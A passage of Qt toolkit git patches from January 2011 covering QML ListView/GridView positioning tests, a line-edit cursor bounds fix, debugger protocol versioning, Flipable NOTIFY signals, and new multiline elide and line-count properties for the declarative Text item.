b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp index bb06c3c..ab80b56 100644 --- a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp +++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp @@ -86,6 +86,8 @@ private slots: void footer(); void header(); void indexAt(); + void testQtQuick11Attributes(); + void testQtQuick11Attributes_data(); private: QDeclarativeView *createView(); @@ -1133,6 +1135,24 @@ void tst_QDeclarativeGridView::positionViewAtIndex() gridview->positionViewAtIndex(25, QDeclarativeGridView::Contain); QTRY_COMPARE(gridview->contentX(), 240.); + // positionViewAtBeginning + gridview->positionViewAtBeginning(); + QTRY_COMPARE(gridview->contentX(), 0.); + + gridview->setContentX(80); + canvas->rootObject()->setProperty("showHeader", true); + gridview->positionViewAtBeginning(); + QTRY_COMPARE(gridview->contentX(), -30.); + + // positionViewAtEnd + gridview->positionViewAtEnd(); + QTRY_COMPARE(gridview->contentX(), 430.); + + gridview->setContentX(80); + canvas->rootObject()->setProperty("showFooter", true); + gridview->positionViewAtEnd(); + QTRY_COMPARE(gridview->contentX(), 460.); + delete canvas; } @@ -1429,6 +1449,45 @@ void tst_QDeclarativeGridView::indexAt() delete canvas; } +void tst_QDeclarativeGridView::testQtQuick11Attributes() +{ + QFETCH(QString, code); + QFETCH(QString, warning); + QFETCH(QString, error); + + QDeclarativeEngine engine; + QObject *obj; + + QDeclarativeComponent valid(&engine); + valid.setData("import QtQuick 1.1; GridView { " + code.toUtf8() + " }", QUrl("")); + obj = valid.create(); + QVERIFY(obj); + QVERIFY(valid.errorString().isEmpty()); + delete obj; + + QDeclarativeComponent invalid(&engine); + invalid.setData("import QtQuick 1.0; GridView { " + code.toUtf8() + " }", QUrl("")); + QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); + obj = invalid.create(); + QCOMPARE(invalid.errorString(), error); + delete obj; +} + +void tst_QDeclarativeGridView::testQtQuick11Attributes_data() +{ + QTest::addColumn("code"); + QTest::addColumn("warning"); + QTest::addColumn("error"); + + QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()" + << ":1: ReferenceError: Can't find variable: positionViewAtBeginning" + << ""; + + QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()" + << ":1: ReferenceError: Can't find variable: positionViewAtEnd" + << ""; +} + QDeclarativeView *tst_QDeclarativeGridView::createView() { QDeclarativeView *canvas = new QDeclarativeView(0); diff --git a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml index 534540f..3cd6f42 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml @@ -1,10 +1,13 @@ import QtQuick 1.0 Rectangle { + id: root width: 240 height: 320 color: "#ffffff" + property bool showHeader: false + property bool showFooter: false property real hr: list.visibleArea.heightRatio function heightRatio() { return list.visibleArea.heightRatio @@ -105,6 +108,10 @@ Rectangle { Component { id: invalidHl SmoothedAnimation {} + }, + Component { + id: headerFooter + Rectangle { height: 30; width: 240; color: "blue" } } ] ListView { @@ -119,5 +126,7 @@ Rectangle { highlightMoveSpeed: 1000 highlightResizeSpeed: 1000 cacheBuffer: testObject.cacheBuffer + header: root.showHeader ? headerFooter : null + footer: root.showFooter ? headerFooter : null } } diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp index e76cb15..80c0118 100644 --- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp +++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp @@ -108,6 +108,8 @@ private slots: void QTBUG_16037(); void indexAt(); void incrementalModel(); + void testQtQuick11Attributes(); + void testQtQuick11Attributes_data(); private: template void items(); @@ -1370,6 +1372,24 @@ void tst_QDeclarativeListView::positionViewAtIndex() listview->positionViewAtIndex(20, QDeclarativeListView::Contain); QTRY_COMPARE(listview->contentY(), 100.); + // positionAtBeginnging + listview->positionViewAtBeginning(); + QTRY_COMPARE(listview->contentY(), 0.); + + listview->setContentY(80); + canvas->rootObject()->setProperty("showHeader", true); + listview->positionViewAtBeginning(); + QTRY_COMPARE(listview->contentY(), -30.); + + // positionAtEnd + listview->positionViewAtEnd(); + QTRY_COMPARE(listview->contentY(), 480.); // 40*20 - 320 + + listview->setContentY(80); + canvas->rootObject()->setProperty("showFooter", true); + listview->positionViewAtEnd(); + QTRY_COMPARE(listview->contentY(), 510.); + delete canvas; } @@ -2026,6 +2046,45 @@ void tst_QDeclarativeListView::incrementalModel() delete canvas; } +void tst_QDeclarativeListView::testQtQuick11Attributes() +{ + QFETCH(QString, code); + QFETCH(QString, warning); + QFETCH(QString, error); + + QDeclarativeEngine engine; + QObject *obj; + + QDeclarativeComponent valid(&engine); + valid.setData("import QtQuick 1.1; ListView { " + code.toUtf8() + " }", QUrl("")); + obj = valid.create(); + QVERIFY(obj); + QVERIFY(valid.errorString().isEmpty()); + delete obj; + + QDeclarativeComponent invalid(&engine); + invalid.setData("import QtQuick 1.0; ListView { " + code.toUtf8() + " }", QUrl("")); + QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); + obj = invalid.create(); + QCOMPARE(invalid.errorString(), error); + delete obj; +} + +void tst_QDeclarativeListView::testQtQuick11Attributes_data() +{ + QTest::addColumn("code"); + QTest::addColumn("warning"); + QTest::addColumn("error"); + + QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()" + << ":1: ReferenceError: Can't find variable: positionViewAtBeginning" + << ""; + + QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()" + << ":1: ReferenceError: Can't find variable: positionViewAtEnd" + << ""; +} + void tst_QDeclarativeListView::qListModelInterface_items() { items(); -- cgit v0.12 From 7393fa902a62e53558ffb56769d31b4d5ba77161 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 11 Jan 2011 14:10:18 +1000 Subject: Don't crash if cursor at the end. 77cba04c2 assumed a level of bounds checking in QTextLayout that does not exist. Task-number: qtbug-15818 Reviewed-by: Michael Brasser --- src/gui/widgets/qlinecontrol.cpp | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/gui/widgets/qlinecontrol.cpp b/src/gui/widgets/qlinecontrol.cpp index 12607c1..9abbfac 100644 --- a/src/gui/widgets/qlinecontrol.cpp +++ b/src/gui/widgets/qlinecontrol.cpp @@ -541,7 +541,10 @@ void QLineControl::draw(QPainter *painter, const QPoint &offset, const QRect &cl */ void QLineControl::selectWordAtPos(int cursor) { - int c = m_textLayout.previousCursorPosition(cursor+1, QTextLayout::SkipWords); + int next = cursor + 1; + if(next > end()) + --next; + int c = m_textLayout.previousCursorPosition(next, QTextLayout::SkipWords); moveCursor(c, false); // ## text layout should support end of words. int end = m_textLayout.nextCursorPosition(c, QTextLayout::SkipWords); -- cgit v0.12 From 78d6465a6db7e99720adef8e24803e75cbd8dd65 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Tue, 11 Jan 2011 11:19:38 +0100 Subject: QDeclarativeDebug: Extend autotest Check that sendMessage doesn't crash if service isn't connected. --- .../qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp index 30629f9..14efc57 100644 --- a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp +++ b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp @@ -133,6 +133,10 @@ void tst_QDeclarativeDebugService::sendMessage() client.sendMessage(msg); QByteArray resp = client.waitForResponse(); QCOMPARE(resp, msg); + + QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugService: Conflicting plugin name \"tst_QDeclarativeDebugService::sendMessage()\" "); + QDeclarativeDebugService duplicate("tst_QDeclarativeDebugService::sendMessage()"); + duplicate.sendMessage("msg"); } void tst_QDeclarativeDebugService::idForObject() -- cgit v0.12 From 619cb18022baaea3020dd15369c67b2bc07f5f86 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Mon, 10 Jan 2011 13:16:00 +0100 Subject: QDeclarativeDebug: Hardcode version when serializing Qt types Make sure that e.g. QtCreator compiled with 4.7 can debug a program compiled with 4.8. Reviewed-by: Christiaan Janssen --- src/declarative/debugger/qpacketprotocol.cpp | 1 + 1 file changed, 1 insertion(+) diff --git a/src/declarative/debugger/qpacketprotocol.cpp b/src/declarative/debugger/qpacketprotocol.cpp index ad1e767..1d056e4 100644 --- a/src/declarative/debugger/qpacketprotocol.cpp +++ b/src/declarative/debugger/qpacketprotocol.cpp @@ -407,6 +407,7 @@ QPacket::QPacket() buf = new QBuffer(&b); buf->open(QIODevice::WriteOnly); setDevice(buf); + setVersion(QDataStream::Qt_4_7); } /*! -- cgit v0.12 From d91eb7728beea99eb347293c89500cfa03814208 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Wed, 12 Jan 2011 14:21:59 +1000 Subject: Don't use implicitSize when calculating implicit size Width/height ended up getting trapped at <0 in this fillMode if only one of witdh/height was explicit. Task-number: QTBUG-16389 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativeimage.cpp | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index 68a1ecb..af9fc0b 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -386,14 +386,16 @@ void QDeclarativeImage::updatePaintedGeometry() if (d->fillMode == PreserveAspectFit) { if (!d->pix.width() || !d->pix.height()) return; - qreal widthScale = width() / qreal(d->pix.width()); - qreal heightScale = height() / qreal(d->pix.height()); + int effectiveHeight = heightValid() ? height() : d->pix.height(); + int effectiveWidth = widthValid() ? width() : d->pix.width(); + qreal widthScale = effectiveWidth / qreal(d->pix.width()); + qreal heightScale = effectiveHeight / qreal(d->pix.height()); if (widthScale <= heightScale) { - d->paintedWidth = width(); + d->paintedWidth = effectiveWidth; d->paintedHeight = widthScale * qreal(d->pix.height()); } else if(heightScale < widthScale) { d->paintedWidth = heightScale * qreal(d->pix.width()); - d->paintedHeight = height(); + d->paintedHeight = effectiveHeight; } if (widthValid() && !heightValid()) { setImplicitHeight(d->paintedHeight); -- cgit v0.12 From 51a09036d2c7fdefa82698d5f096efd604f4e364 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Wed, 12 Jan 2011 15:08:53 +1000 Subject: Revert "Don't use implicitSize when calculating implicit size" This reverts commit d91eb7728beea99eb347293c89500cfa03814208. Need to consult on the expected behavior before fixing this one. --- src/declarative/graphicsitems/qdeclarativeimage.cpp | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index af9fc0b..68a1ecb 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -386,16 +386,14 @@ void QDeclarativeImage::updatePaintedGeometry() if (d->fillMode == PreserveAspectFit) { if (!d->pix.width() || !d->pix.height()) return; - int effectiveHeight = heightValid() ? height() : d->pix.height(); - int effectiveWidth = widthValid() ? width() : d->pix.width(); - qreal widthScale = effectiveWidth / qreal(d->pix.width()); - qreal heightScale = effectiveHeight / qreal(d->pix.height()); + qreal widthScale = width() / qreal(d->pix.width()); + qreal heightScale = height() / qreal(d->pix.height()); if (widthScale <= heightScale) { - d->paintedWidth = effectiveWidth; + d->paintedWidth = width(); d->paintedHeight = widthScale * qreal(d->pix.height()); } else if(heightScale < widthScale) { d->paintedWidth = heightScale * qreal(d->pix.width()); - d->paintedHeight = effectiveHeight; + d->paintedHeight = height(); } if (widthValid() && !heightValid()) { setImplicitHeight(d->paintedHeight); -- cgit v0.12 From fb76168df6fc73528328d2fce4f10a541af92cc2 Mon Sep 17 00:00:00 2001 From: Morten Engvoldsen Date: Wed, 12 Jan 2011 15:19:38 +0100 Subject: Doc: correcting merge error --- doc/src/template/style/style.css | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 451d6bf..aa98af8 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -226,10 +226,15 @@ { font-size: 13px; } - .red - { - color:red; - } + .red + { + color:red; + } + .figCaption{ + color:#363534; + font:italic 11px/1.2 Verdana; + padding-top:0; + } /* end font style elements */ /* global settings*/ -- cgit v0.12 From a750cf02225e46063161a1352451d46eb2df5491 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 13 Jan 2011 13:29:02 +1000 Subject: Add NOTIFY signals to Flipable 'front' and 'back' properties Although the change notifications themselves may not be that useful, as these properties are write-once, adding the NOTIFY signals allows the properties to be used in bindings. Task-number: QTBUG-16580, QTBUG-14551 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativeflipable.cpp | 2 ++ src/declarative/graphicsitems/qdeclarativeflipable_p.h | 6 ++++-- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index f118a85..b7c4063 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -142,6 +142,7 @@ void QDeclarativeFlipable::setFront(QGraphicsObject *front) d->front->setParentItem(this); if (Back == d->current) d->front->setOpacity(0.); + emit frontChanged(); } QGraphicsObject *QDeclarativeFlipable::back() @@ -165,6 +166,7 @@ void QDeclarativeFlipable::setBack(QGraphicsObject *back) this, SLOT(retransformBack())); connect(back, SIGNAL(heightChanged()), this, SLOT(retransformBack())); + emit backChanged(); } void QDeclarativeFlipable::retransformBack() diff --git a/src/declarative/graphicsitems/qdeclarativeflipable_p.h b/src/declarative/graphicsitems/qdeclarativeflipable_p.h index 78eaf53..b8fa8a4 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflipable_p.h @@ -60,8 +60,8 @@ class Q_AUTOTEST_EXPORT QDeclarativeFlipable : public QDeclarativeItem Q_OBJECT Q_ENUMS(Side) - Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront) - Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack) + Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront NOTIFY frontChanged) + Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack NOTIFY backChanged) Q_PROPERTY(Side side READ side NOTIFY sideChanged) //### flipAxis //### flipRotation @@ -79,6 +79,8 @@ public: Side side() const; Q_SIGNALS: + void frontChanged(); + void backChanged(); void sideChanged(); private Q_SLOTS: -- cgit v0.12 From 7ef25c1e7bbb8363dec6cc3dd5bc2497404be0f9 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 13 Jan 2011 15:31:35 +0100 Subject: Doc: Added a missing snippet. Task-number: QTBUG-16619 --- doc/src/snippets/declarative/webview/webview.qml | 51 ++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 doc/src/snippets/declarative/webview/webview.qml diff --git a/doc/src/snippets/declarative/webview/webview.qml b/doc/src/snippets/declarative/webview/webview.qml new file mode 100644 index 0000000..c1cef33 --- /dev/null +++ b/doc/src/snippets/declarative/webview/webview.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtWebKit 1.0 + +WebView { + url: "http://www.nokia.com" + preferredWidth: 490 + preferredHeight: 400 + scale: 0.5 + smooth: false +} +//! [document] -- cgit v0.12 From 08bd83f5f1b738713e80bbfbd06468d27c5d3694 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 14 Jan 2011 14:57:10 +1000 Subject: QDeclarativeText has new multiline properties LineCount should return the number of lines currently being displayed. Setting maximumLineCount limits the number of lines that will be shown Truncated will return true if the text has been elided normally, or if the lines have been limited due to maximumLineCount. Task-number: QTBUG-12305 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativetext.cpp | 179 +++++++++++++++++++-- src/declarative/graphicsitems/qdeclarativetext_p.h | 14 ++ .../graphicsitems/qdeclarativetext_p_p.h | 7 + .../qdeclarativetext/data/lineCount.qml | 15 ++ .../qdeclarativetext/tst_qdeclarativetext.cpp | 30 ++++ 5 files changed, 230 insertions(+), 15 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativetext/data/lineCount.qml diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index cf11be6..d61342e 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -54,6 +54,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE @@ -84,12 +85,14 @@ private: DEFINE_BOOL_CONFIG_OPTION(enableImageCache, QML_ENABLE_TEXT_IMAGE_CACHE); +QString QDeclarativeTextPrivate::elideChar = QString(0x2026); + QDeclarativeTextPrivate::QDeclarativeTextPrivate() : color((QRgb)0), style(QDeclarativeText::Normal), hAlign(QDeclarativeText::AlignLeft), vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone), - format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), imageCacheDirty(true), - updateOnComponentComplete(true), richText(false), singleline(false), cacheAllTextAsImage(true), - internalWidthUpdate(false), doc(0) + format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineCount(1), truncated(false), maximumLineCount(INT_MAX), + maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false), + cacheAllTextAsImage(true), internalWidthUpdate(false), doc(0) { cacheAllTextAsImage = enableImageCache(); QGraphicsItemPrivate::acceptedMouseButtons = Qt::LeftButton; @@ -192,9 +195,13 @@ void QDeclarativeTextPrivate::updateLayout() QString tmp = text; tmp.replace(QLatin1Char('\n'), QChar::LineSeparator); singleline = !tmp.contains(QChar::LineSeparator); - if (singleline && elideMode != QDeclarativeText::ElideNone && q->widthValid()) { + if (singleline && !maximumLineCountValid && elideMode != QDeclarativeText::ElideNone && q->widthValid()) { QFontMetrics fm(font); tmp = fm.elidedText(tmp,(Qt::TextElideMode)elideMode,q->width()); // XXX still worth layout...? + if (tmp != text && !truncated) { + truncated = true; + emit q->truncatedChanged(); + } } layout.setText(tmp); } else { @@ -291,6 +298,8 @@ QSize QDeclarativeTextPrivate::setupTextLayout() qreal height = 0; qreal widthUsed = 0; qreal lineWidth = 0; + int visibleTextLength = 0; + int visibleCount = 0; //set manual width if ((wrapMode != QDeclarativeText::NoWrap || elideMode != QDeclarativeText::ElideNone) && q->widthValid()) @@ -302,16 +311,71 @@ QSize QDeclarativeTextPrivate::setupTextLayout() textOption.setWrapMode(QTextOption::WrapMode(wrapMode)); layout.setTextOption(textOption); - layout.beginLayout(); - forever { - QTextLine line = layout.createLine(); - if (!line.isValid()) - break; + bool elideText = false; + bool truncate = false; + + QFontMetrics fm(layout.font()); + qreal elideWidth = fm.width(elideChar); + elidePos = QPointF(); + + if (maximumLineCountValid) { + layout.beginLayout(); + int y = 0; + int linesLeft = maximumLineCount; + while (linesLeft > 0) { + QTextLine line = layout.createLine(); + if (!line.isValid()) + break; + + visibleCount++; + + if (lineWidth) { + if (--linesLeft == 0) { + line.setLineWidth(q->width()*2); // Set out more than is required, but not too much. + if (line.naturalTextWidth() > lineWidth) + line.setLineWidth(lineWidth - elideWidth); + visibleTextLength += line.textLength(); // Used to catch new lines that are shorter than the layout width. + + if (visibleTextLength < text.length()) { + truncate = true; + if (elideMode==QDeclarativeText::ElideRight) { + // Need to correct for alignment + int x = line.naturalTextWidth(); + if (hAlign == QDeclarativeText::AlignRight) { + x = q->width()-elideWidth; + } else if (hAlign == QDeclarativeText::AlignHCenter) { + x = (q->width()+line.naturalTextWidth()-elideWidth)/2; + } + elidePos = QPointF(x, y + fm.ascent()); + } + } + } else { + line.setLineWidth(lineWidth); + visibleTextLength += line.textLength(); + } + + y += line.height(); + } + } + layout.endLayout(); - if (lineWidth) - line.setLineWidth(lineWidth); + //Update truncated + if (truncated != truncate) { + truncated = truncate; + emit q->truncatedChanged(); + } + } else { + layout.beginLayout(); + forever { + QTextLine line = layout.createLine(); + if (!line.isValid()) + break; + visibleCount++; + if (lineWidth) + line.setLineWidth(lineWidth); + } + layout.endLayout(); } - layout.endLayout(); for (int i = 0; i < layout.lineCount(); ++i) { QTextLine line = layout.lineAt(i); @@ -331,13 +395,23 @@ QSize QDeclarativeTextPrivate::setupTextLayout() x = 0; } else if (hAlign == QDeclarativeText::AlignRight) { x = layoutWidth - line.naturalTextWidth(); + if (elideText && i == layout.lineCount()-1) + x -= elideWidth; // Correct for when eliding multilines } else if (hAlign == QDeclarativeText::AlignHCenter) { x = (layoutWidth - line.naturalTextWidth()) / 2; + if (elideText && i == layout.lineCount()-1) + x -= elideWidth/2; // Correct for when eliding multilines } line.setPosition(QPointF(x, line.y())); } } + //Update the number of visible lines + if (lineCount != visibleCount) { + lineCount = visibleCount; + emit q->lineCountChanged(); + } + return layout.boundingRect().toAlignedRect().size(); } @@ -391,7 +465,9 @@ void QDeclarativeTextPrivate::drawTextLayout(QPainter *painter, const QPointF &p else painter->setPen(color); painter->setFont(font); - layout.draw(painter, pos); + layout.draw(painter, pos); + if (!elidePos.isNull()) + painter->drawText(elidePos, elideChar); } /*! @@ -979,6 +1055,76 @@ void QDeclarativeText::setWrapMode(WrapMode mode) emit wrapModeChanged(); } +/*! + \qmlproperty int Text::lineCount + + Returns the number of lines visible in the text item. + + This property is not supported for rich text. + + \sa maximumLineCount +*/ +int QDeclarativeText::lineCount() const +{ + Q_D(const QDeclarativeText); + return d->lineCount; +} + +/*! + \qmlproperty bool Text::truncated + + Returns if the text has been truncated due to \l maximumLineCount + or \l elide. + + This property is not supported for rich text. + + \sa maximumLineCount, elide +*/ +bool QDeclarativeText::truncated() const +{ + Q_D(const QDeclarativeText); + return d->truncated; +} + +/*! + \qmlproperty int Text::maximumLineCount + + Set this property to limit the number of lines that the text item will show. + If elide is set to Text.ElideRight, the text will be elided appropriately. + By default, this is the value of the largest possible integer. + + This property is not supported for rich text. + + \sa lineCount, elide +*/ +int QDeclarativeText::maximumLineCount() const +{ + Q_D(const QDeclarativeText); + return d->maximumLineCount; +} + +void QDeclarativeText::setMaximumLineCount(int lines) +{ + Q_D(QDeclarativeText); + + d->maximumLineCountValid = lines==INT_MAX ? false : true; + if (d->maximumLineCount != lines) { + d->maximumLineCount = lines; + d->updateLayout(); + emit maximumLineCountChanged(); + } +} + +void QDeclarativeText::resetMaximumLineCount() +{ + Q_D(QDeclarativeText); + setMaximumLineCount(INT_MAX); + d->elidePos = QPointF(); + if (d->truncated != false) { + d->truncated = false; + emit truncatedChanged(); + } +} /*! \qmlproperty enumeration Text::textFormat @@ -1066,7 +1212,7 @@ void QDeclarativeText::setTextFormat(TextFormat format) Set this property to elide parts of the text fit to the Text item's width. The text will only elide if an explicit width has been set. - This property cannot be used with multi-line text or with rich text. + This property cannot be used with rich text. Eliding can be: \list @@ -1076,6 +1222,9 @@ void QDeclarativeText::setTextFormat(TextFormat format) \o Text.ElideRight \endlist + If this property is set to Text.ElideRight, it can be used with multiline + text. The text will only elide if maximumLineCount has been set. + If the text is a multi-length string, and the mode is not \c Text.ElideNone, the first string that fits will be used, otherwise the last will be elided. @@ -1153,7 +1302,7 @@ void QDeclarativeText::geometryChanged(const QRectF &newGeometry, const QRectF & && (d->wrapMode != QDeclarativeText::NoWrap || d->elideMode != QDeclarativeText::ElideNone || d->hAlign != QDeclarativeText::AlignLeft)) { - if (d->singleline && d->elideMode != QDeclarativeText::ElideNone && widthValid()) { + if ((d->singleline || d->maximumLineCountValid) && d->elideMode != QDeclarativeText::ElideNone && widthValid()) { // We need to re-elide d->updateLayout(); } else { diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h index 49bff14..2e19910 100644 --- a/src/declarative/graphicsitems/qdeclarativetext_p.h +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h @@ -71,6 +71,10 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged) Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged) Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged) + Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged) + Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged) + Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount) + Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged) Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode? Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged) @@ -131,6 +135,13 @@ public: WrapMode wrapMode() const; void setWrapMode(WrapMode w); + int lineCount() const; + bool truncated() const; + + int maximumLineCount() const; + void setMaximumLineCount(int lines); + void resetMaximumLineCount(); + TextFormat textFormat() const; void setTextFormat(TextFormat format); @@ -158,6 +169,9 @@ Q_SIGNALS: void horizontalAlignmentChanged(HAlignment alignment); void verticalAlignmentChanged(VAlignment alignment); void wrapModeChanged(); + void lineCountChanged(); + void truncatedChanged(); + void maximumLineCountChanged(); void textFormatChanged(TextFormat textFormat); void elideModeChanged(TextElideMode mode); void paintedSizeChanged(); diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h index e37f477..42c815b 100644 --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h @@ -88,6 +88,13 @@ public: QDeclarativeText::TextElideMode elideMode; QDeclarativeText::TextFormat format; QDeclarativeText::WrapMode wrapMode; + int lineCount; + bool truncated; + int maximumLineCount; + int maximumLineCountValid; + QPointF elidePos; + + static QString elideChar; void invalidateImageCache(); void checkImageCache(); diff --git a/tests/auto/declarative/qdeclarativetext/data/lineCount.qml b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml new file mode 100644 index 0000000..b3d7bc1 --- /dev/null +++ b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml @@ -0,0 +1,15 @@ +import QtQuick 1.0 + +Item { + width: 200 + height: 200 + + Text { + id: myText + objectName: "myText" + width: 200 + wrapMode: Text.WordWrap + maximumLineCount: undefined + text: "Testing that maximumLines, visibleLines, and totalLines works properly in the autotests. The quick brown fox jumped over the lazy anything with the letter 'g'." + } +} diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp index d6c37ae..ca23c9f 100644 --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp @@ -49,6 +49,7 @@ #include #include #include +#include #include "../../../shared/util.h" #include "testhttpserver.h" @@ -78,6 